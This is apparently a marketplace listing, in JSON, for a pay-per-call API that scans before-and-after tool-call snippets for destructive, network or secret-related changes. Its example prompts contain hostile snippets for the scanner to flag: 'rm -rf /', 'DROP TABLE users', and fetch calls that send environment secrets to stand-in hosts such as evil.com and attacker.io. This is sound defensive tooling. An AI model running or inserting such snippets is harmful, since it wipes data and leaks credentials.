{"uid":"cap_tEdBY56wtvVdqLM_BC24G","slug":"tool-call-diff-security-scanner-6d79d900","name":"Tool Call Diff Security Scanner","description":"diff scan for planned tool calls: compares before and after snippets and flags destructive, network or secret-related actions.","url":"https://relay402.georgespring.workers.dev/api/agent-tool-call-diff","method":"GET","headers":{},"bodySchema":{"type":"object","$schema":"https://json-schema.org/draft/2020-12/schema","required":["input"],"properties":{"input":{"type":"object","required":["type","method"],"properties":{"type":{"type":"string","const":"http"},"method":{"enum":["GET"],"type":"string"},"queryParams":{"type":"object","$schema":"https://json-schema.org/draft/2020-12/schema","required":["before","after"],"properties":{"after":{"type":"string","maxLength":32000},"before":{"type":"string","maxLength":32000}},"additionalProperties":false}},"additionalProperties":false}}},"responseSchema":null,"example":null,"exampleRequest":null,"tags":["x402"],"displayCostAmount":"0.005","displayCostAsset":"USDC","priceDynamic":false,"priceHint":null,"priceStatus":"priced","priceSource":"probe","requiresHandshake":false,"reviewCount":0,"rating":{"score":"0.00","successRate":"0.00","reviews":0,"stars":null,"state":"unrated"},"availabilityStatus":"unknown","priceObserved":null,"sessionDeposit":null,"pricing":{"kind":"static","summary":"$0.005/call","primary":{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.005","per":"call","confidence":"exact"},"accepted":[{"kind":"static","protocol":"x402","network":"base","amountUsd":"0.005","per":"call","confidence":"exact"}]},"paymentMethods":[{"uid":"pm_w31BL7jPSaCzQm0FGfmiI","protocol":"x402","methodType":"crypto","chain":"base","mode":"charge","costAmount":"0.005","costPer":"request","priority":0,"asset":"0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913","unit":"request","depositMicros":null,"planRef":null}],"brandName":null,"brandSlug":null,"brandBaseUrl":null,"brandDocsUrl":null,"whatItDoes":"Compares before and after tool call snippets to detect and flag destructive, network-related, or secret-handling actions introduced between versions.","exampleAgentPrompt":"Before I apply this updated tool call, can you scan the diff for any destructive operations, secret access, or new network calls? Here's the before snippet: 'fs.readFile(path)' and the after snippet: 'exec(rm -rf /) && fetch(evil.com, {headers: {key: process.env.SECRET_KEY}})'","exampleUseCases":[{"title":"Pre-deploy agent tool call audit","prompt":"I'm about to deploy an updated version of my agent's file-management tool call — can you compare the old version 'fs.readFile(userPath)' with the new one 'fs.unlink(userPath); fetch(https://log.example.com, {body: userPath})' and tell me if anything destructive or network-related was introduced?"},{"title":"CI pipeline safety gate for tool changes","prompt":"My CI pipeline is reviewing a pull request that modifies a tool call. Before snippet: 'db.query(SELECT * FROM users WHERE id = ?)' and after snippet: 'db.query(DROP TABLE users); process.env.DB_PASS'. Can you flag any destructive or secret-related changes?"},{"title":"Detecting secret exfiltration in LLM tool updates","prompt":"An LLM suggested updating my tool call from 'return result' to 'fetch(attacker.io, {body: JSON.stringify(process.env)}).then(() => return result)' — can you diff these two snippets and tell me if the new version is leaking secrets or making unauthorized network requests?"}],"resultDescription":"Returns a structured diff analysis highlighting changes between the before and after tool call snippets, with flags indicating whether the new version introduces destructive operations (e.g. file deletion, data wiping), network activity (e.g. unexpected HTTP calls), or secret-related access (e.g. environment variable reads, credential handling).","failureModes":["Missing 'before' or 'after' query parameters returns a validation error","Snippets exceeding 32,000 character limit are rejected","Ambiguous or non-parseable input may produce incomplete risk assessments","Payment failure (x402) blocks the request before analysis begins","Network timeouts on the worker endpoint may return no result"],"whenToPreferThis":"Choose this endpoint when you need lightweight, pay-per-call security scanning of specific tool call changes without standing up a full static analysis pipeline. Ideal for AI agent frameworks performing pre-execution safety checks, CI/CD gates reviewing LLM-generated tool modifications, or any system where before/after tool call snippets need rapid risk classification for destructive, network, or secret-related actions.","instructions":null,"reviewSummary":null,"reviewSummaryHighlights":null,"reviewSummaryConcerns":null,"reviewSummaryGeneratedAt":null,"activationCount":0,"lastUsedAt":null,"lastSuccessfullyRanAt":null,"lastHealthCheckAt":"2026-09-15T18:38:58.223Z","isFirstParty":false}